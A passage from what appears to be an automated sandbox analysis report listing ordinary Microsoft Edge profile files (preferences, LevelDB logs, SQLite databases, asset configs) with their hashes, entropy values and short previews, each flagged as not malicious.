Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13374694770184748","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13374694770184748","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\99ebd57c-93c0-48d9-9884-15a84fc762ae.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13230
Entropy (8bit):	5.275912700690761
Encrypted:	false
SSDEEP:	192:sttJ99QTryDigabatSuypdsjnaFvrEAMPkB4VU8WbV+FQcQAfU8PtYJ:sttPGKSu4dsjnCDVMA1bG3QBL
MD5:	D78FCCF2BAB665251A86EF41E22C7FD2
SHA1:	876E3EC2001B7B8EDEDC827190D9FA21FFFFB4E3
SHA-256:	3364D9923035F20F43F54AAE86041F900DCB42C039B20E5CDBC0FA8C5B828213
SHA-512:	709ACC63C39A2B1F8BBA7A5B8230494199C7E5F41074F678C1F5391DF4A6E5DB6A4DE25C0239E5656B23D8A67865324295521F4A88D731CB8F7B5CF1D3280979
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13374694770739849","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	3.5394429593752084
Encrypted:	false
SSDEEP:	3:iWstvhYNrkUn:iptAd
MD5:	F27314DD366903BBC6141EAE524B0FDE
SHA1:	4714D4A11C53CF4258C3A0246B98E5F5A01FBC12
SHA-256:	68C7AD234755B9EDB06832A084D092660970C89A7305E0C47D327B6AC50DD898
SHA-512:	07A0D529D9458DE5E46385F2A9D77E0987567BA908B53DDB1F83D40D99A72E6B2E3586B9F79C2264A83422C4E7FC6559CAC029A6F969F793F7407212BB3ECD51
Malicious:	false
Preview:	...m.................DB_VERSION.1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	313
Entropy (8bit):	5.300931751829991
Encrypted:	false
SSDEEP:	6:1QMOq1N723oH+Tcwtp3hBtB2KLlPQm9+q2PN723oH+Tcwtp3hBWsIFUv:1QMTaYebp3dFLtQTvVaYebp3eFUv
MD5:	026CF076598C3C5432D93F6F8481DC8A
SHA1:	C7E8AC0B22DAE80C90B48804E77093600B312170
SHA-256:	1B7F59644A14ED9C22DA66F8006D67A6B559A09CB0F7DF5B7A7F056DCCFE2CA4
SHA-512:	1D299769F48A39CA25325C329383AED37F128220E77D630724D2CC0A928C5306D6E05FCDE933E125DD8A132226BA93BD461DA38DB0E32A0841BDC848EADADE06
Malicious:	false
Preview:	2024/10/29-12:59:35.677 1f38 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db since it was missing..2024/10/29-12:59:35.693 1f38 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	2163821
Entropy (8bit):	5.222860996585208
Encrypted:	false
SSDEEP:	24576:IbPMZpVKfI/MXhZSihQgCmnVAEpENU2iOYcafbE2n:IbkZpVKfx2mjF
MD5:	9B6BAF45700842DBEFC631E3E554DFAF
SHA1:	6A511994987A82722939860BDE3164C213FA784F
SHA-256:	51151EF0D59E706C0527ECFF5FF9918022BBAE07364F47237D4690660EC2BA39
SHA-512:	7EF3E138298E11AD44BCC257A54F48DB13B6405EBFE2B65C21ED6165160DBC51A11B7E3E0143B7F4E988F7E1E6D0D64BFE565366D97056FC9FFAF98B99262222
Malicious:	false
Preview:	...m.................DB_VERSION.1.f.+.................QUERY_TIMESTAMP:arbitration_priority_list4...13340960289901340.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=NtPyTqjbjPElpw2mWa%2FwOk1no4JFJEK8%2BwO4xQdDJO4%3D&st=2021-01-01T00%3A00%3A00Z&se=2023-12-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"N0MkrPHaUyfTgQSPaiVpHemLMcVgqoPh/xUYLZyXayg=","size":11749}]...................'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.[{. "configVersion": 32,. "PrivilegedExperiences": [. "ShorelinePrivilegedExperienceID",. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",. "SHOPPING_AUTO_SHOW_BING_SEARCH",. "SHOPPING_AUTO_SHOW_REBATES",. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",. "SHOPPING_AUTO_SHOW_REBATES_DEACTI

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.17729595163693
Encrypted:	false
SSDEEP:	6:1QSN1L+q2PN723oH+Tcwt9Eh1tIFUt86Q9tV6j1Zmw+6QIU1LVkwON723oH+Tcw+:1Q6yvVaYeb9Eh16FUt86Q9nk/+6QrR5s
MD5:	2A2A2B4476613FD92E4ED04B8F2330E6
SHA1:	B192467176540F185A61541A6FDCDA0B10F7F2D5
SHA-256:	0EAEDBBA9AFC0AD6B05C1C1E1D03F2BD81C4127C8C2236F71E53141C8CAB837B
SHA-512:	4891301AA4368DBA8D9BF9E60E3368365016CC191DA3D9F479280E811BCAED2E145FD16747F342DFF7D834729067FF685FB12E7FB7A77B5A7874F68DFA084781
Malicious:	false
Preview:	2024/10/29-12:59:34.668 2058 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/10/29-12:59:34.673 2058 Recovering log #3.2024/10/29-12:59:34.933 2058 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.17729595163693
Encrypted:	false
SSDEEP:	6:1QSN1L+q2PN723oH+Tcwt9Eh1tIFUt86Q9tV6j1Zmw+6QIU1LVkwON723oH+Tcw+:1Q6yvVaYeb9Eh16FUt86Q9nk/+6QrR5s
MD5:	2A2A2B4476613FD92E4ED04B8F2330E6
SHA1:	B192467176540F185A61541A6FDCDA0B10F7F2D5
SHA-256:	0EAEDBBA9AFC0AD6B05C1C1E1D03F2BD81C4127C8C2236F71E53141C8CAB837B
SHA-512:	4891301AA4368DBA8D9BF9E60E3368365016CC191DA3D9F479280E811BCAED2E145FD16747F342DFF7D834729067FF685FB12E7FB7A77B5A7874F68DFA084781
Malicious:	false
Preview:	2024/10/29-12:59:34.668 2058 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/10/29-12:59:34.673 2058 Recovering log #3.2024/10/29-12:59:34.933 2058 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DIPS

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.46251675350139093
Encrypted:	false
SSDEEP:	24:TLi5YFQq3qh7z3WMYziciNW9WkZ96UwOfBukM:TouQq3qh7z3bY2LNW9WMcUvBuD
MD5:	94699F8A52A95FC1D8FC85B02FA183CB
SHA1:	062CA0A88FDB4AA170A63688DE6452C1E1FCA87D
SHA-256:	5E918341644D292BA0BEA8F2D5DF9D6FE5D50E2963C5401648E4D07741BB6817
SHA-512:	F499881FBCCBB82865181C855D72C39CB77862E4AFAF3E1BB2E3CC3D8ECE473EA58721E163CDB081B5695BCA87079D80DAEF1D7A09EE0D368290DECC2F1CDB0F
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....8...n................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DashTrackerDatabase

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 5, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	10240
Entropy (8bit):	0.8708334089814068
Encrypted:	false
SSDEEP:	12:LBtW4mqsmvEFUU30dZV3lY7+YNbr1dj3BzA2ycFUxOUDaazMvbKGxiTUwZ79GV:LLaqEt30J2NbDjfy6UOYMvbKGxjgm
MD5:	92F9F7F28AB4823C874D79EDF2F582DE
SHA1:	2D4F1B04C314C79D76B7FF3F50056ECA517C338B
SHA-256:	6318FCD9A092D1F5B30EBD9FB6AEC30B1AEBD241DC15FE1EEED3B501571DA3C7
SHA-512:	86FEF0E05F871A166C3FAB123B0A4B95870DCCECBE20B767AF4BDFD99653184BBBFE4CE1EDF17208B7700C969B65B8166EE264287B613641E7FDD55A6C09E6D4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...v... .. .....M....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.193203888728654
Encrypted:	false
SSDEEP:	6:1QpFq2PN723oH+TcwtnG2tMsIFUt86QiA9Zmw+6QiAPkwON723oH+TcwtnG2tMsd:1QpFvVaYebn9GFUt86QZ9/+6QZP5OaYi
MD5:	5954A031ECF06AFC514E83F46AFA52A9
SHA1:	0C4D0FFE681EFC5D3B8A800607D3FC3DC1277D72
SHA-256:	56FACC2E8E56CFABAB595DAF655D7B9688EDEF2D91E2BEF4A0A59D135E0E56F7
SHA-512:	4DEA36D8BE0F6A677E6931AF71AB797E17556B149A35CA827E69D672AC543F2DB899B51C6538264C3CE971B56D89F304CA244D9EE7261C212FDFA1E208305784
Malicious:	false
Preview:	2024/10/29-12:59:30.225 1f94 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/10/29-12:59:30.226 1f94 Recovering log #3.2024/10/29-12:59:30.226 1f94 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.193203888728654
Encrypted:	false
SSDEEP:	6:1QpFq2PN723oH+TcwtnG2tMsIFUt86QiA9Zmw+6QiAPkwON723oH+TcwtnG2tMsd:1QpFvVaYebn9GFUt86QZ9/+6QZP5OaYi
MD5:	5954A031ECF06AFC514E83F46AFA52A9
SHA1:	0C4D0FFE681EFC5D3B8A800607D3FC3DC1277D72
SHA-256:	56FACC2E8E56CFABAB595DAF655D7B9688EDEF2D91E2BEF4A0A59D135E0E56F7
SHA-512:	4DEA36D8BE0F6A677E6931AF71AB797E17556B149A35CA827E69D672AC543F2DB899B51C6538264C3CE971B56D89F304CA244D9EE7261C212FDFA1E208305784
Malicious:	false
Preview:	2024/10/29-12:59:30.225 1f94 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/10/29-12:59:30.226 1f94 Recovering log #3.2024/10/29-12:59:30.226 1f94 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6132417420510493
Encrypted:	false
SSDEEP:	24:TLapR+DDNzWjJ0npnyXKUO8+j/uG0pAlmL:TO8D4jJ/6Up+zdy
MD5:	AC313DE1097D7B4E4109774905AAA3F6
SHA1:	BC076A4DB753A8FFA28E33E76A4A6D8245270624
SHA-256:	89504DF370A5433ABD2B1A83DB5ED27E1AC525ABB555436D4B87E6519EF63132
SHA-512:	2A3B26EF7665E8198DD70CF19203A5DC7BC9E2E447160B2A3482E80C7719546A5673449EF0CBB9E12FDDD4D69E53D415855E8771BD2A247A6E894DF7B71276D3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...%.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	375520
Entropy (8bit):	5.354175857158486
Encrypted:	false
SSDEEP:	6144:OA/imBpx6WdPSxKWcHu5MURacq49QxxPnyEndBuHltBfdK5WNbsVEziP/CfXtLPz:OFdMyq49tEndBuHltBfdK5WNbsVEziPU
MD5:	5E59DB889D12959634993ED2EAF9ED0C
SHA1:	951EB0AA6EA7537B6E21FB9CAFCFB0D5FC8EBEE8
SHA-256:	8F5DCB7800774D7FAAEFC6376C9C436F636F1B85F9969B18230020C17DDE26EE
SHA-512:	EB0BC0875F54D8BFB074A370A2381265E20C5CDE3618B967B275411AD3F8F4BDDBACD3213639D51B21E017C6FDAB8883C5ED3AAEC6945CCD5193BD347F88C9BF
Malicious:	false
Preview:	...m.................DB_VERSION.1....q...............&QUERY_TIMESTAMP:domains_config_gz2...13374694775596613..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":76},"hash":"78Xsq/1H+MXv88uuTT1Rx79Nu2ryKVXh2J6ZzLZd38w=","size":374872}]..*.`~...............ASSET_VERSION:domains_config_gz.2.8.76..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "ko-kr", "lv": "lv-lv", "lt": "lt-lt", "mk": "mk-mk", "nl": "nl-nl", "nb": "nb-no", "no": "no-no", "pl": "pl-pl", "pt": "pt-pt", "ro": "

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	315
Entropy (8bit):	5.161931297385504
Encrypted:	false
SSDEEP:	6:1Q/s1N723oH+Tcwtk2WwnvB2KLlPQjk1yq2PN723oH+Tcwtk2WwnvIFUv:1Q/MaYebkxwnvFLtQjk4vVaYebkxwnQg
MD5:	081ED65F4253B853A18DBDA4D3E7D41C
SHA1:	39D219592D9D3F2C610C9F1ABD49F98B49B527D3
SHA-256:	6DE917B472948AB2191C0BF5EE2A97D9C8101EAE998F38159DD0303E0FABBDF2
SHA-512:	FBC84771A534FF968223ADAF3529869693E7EDEEB25435DA5B773627278537AE991C473E9BB2E583AA0F7FAA560C7E9D90D2536F5FFAF8D95448E8047D18B9FD
Malicious:	false
Preview:	2024/10/29-12:59:34.660 2070 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2024/10/29-12:59:34.730 2070 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\domains_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	358860
Entropy (8bit):	5.32461011938083
Encrypted:	false
SSDEEP:	6144:CgimBVvUrsc6rRA81b/18jyJNjfvrfM6R9:C1gAg1zfvV
MD5:	576EF0CB2C0A460CBA3162F51CFF4E58
SHA1:	83D722E8603036FFB13A7EACC1F2C5201BB9601A
SHA-256:	5D05612E5B7256F81A42A8DDE1CD8ADA18B279703E26DC9C8AAD08214D026B6C
SHA-512:	E5E103CB78D06E6EB898FB62D865E0A382CA618276BA883A478BB7D94D7EB00B345D08EDDC2FACCBF5AF3CBBEA0968AF35FAA69F15946BF2536FDB8980A756CA
Malicious:	false
Preview:	{"aee_config":{"ar":{"price_regex":{"ae":"(((ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)))","dz":"(((dzd\|da\|\\x{062F}\\x{062C})\\s\\d{1,3})\|(\\d{1,3}\\s(dzd\|da\|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}\|egp)\\s\\d{1,3})\|(\\d{1,3}\\s(e\\x{00a3}\|egp)))","ma":"(((mad\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(mad\|dhs\|dh)))","sa":"((\\d{1,3}\\s(sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633}))\|((sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633})\\s\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})\|(\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628}\\x{0629})\|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}\\x{0644}\\x{0622}\\x{0646})\|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.136892935544386
Encrypted:	false
SSDEEP:	6:1Qy3+q2PN723oH+Tcwt8aPrqIFUt86QyXZmw+6QDNVkwON723oH+Tcwt8amLJ:1Qy3+vVaYebL3FUt86QyX/+6QDNV5OaE
MD5:	2F06D4F118D83BA66C7464BD5996EFE5
SHA1:	220C4F236F8CA782298F9F6B4D943722830BA463
SHA-256:	C50B5CD127243CBCCB7E875906F1E4B6BE4B7DF3B12BEB30B7FDF6669F33D2A6
SHA-512:	730ECC72CE661ABA647813F5FA84F4BFA11E873CBB580261D8E8898F1C6B07C9DCB4C1EF2A12305AC1737A0ECDF016725A0CA84B70D2D3B0DAF65B729B946C55
Malicious:	false
Preview:	2024/10/29-12:59:30.222 1f7c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/10/29-12:59:30.222 1f7c Recovering log #3.2024/10/29-12:59:30.223 1f7c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.136892935544386
Encrypted:	false
SSDEEP:	6:1Qy3+q2PN723oH+Tcwt8aPrqIFUt86QyXZmw+6QDNVkwON723oH+Tcwt8amLJ:1Qy3+vVaYebL3FUt86QyX/+6QDNV5OaE
MD5:	2F06D4F118D83BA66C7464BD5996EFE5
SHA1:	220C4F236F8CA782298F9F6B4D943722830BA463
SHA-256:	C50B5CD127243CBCCB7E875906F1E4B6BE4B7DF3B12BEB30B7FDF6669F33D2A6
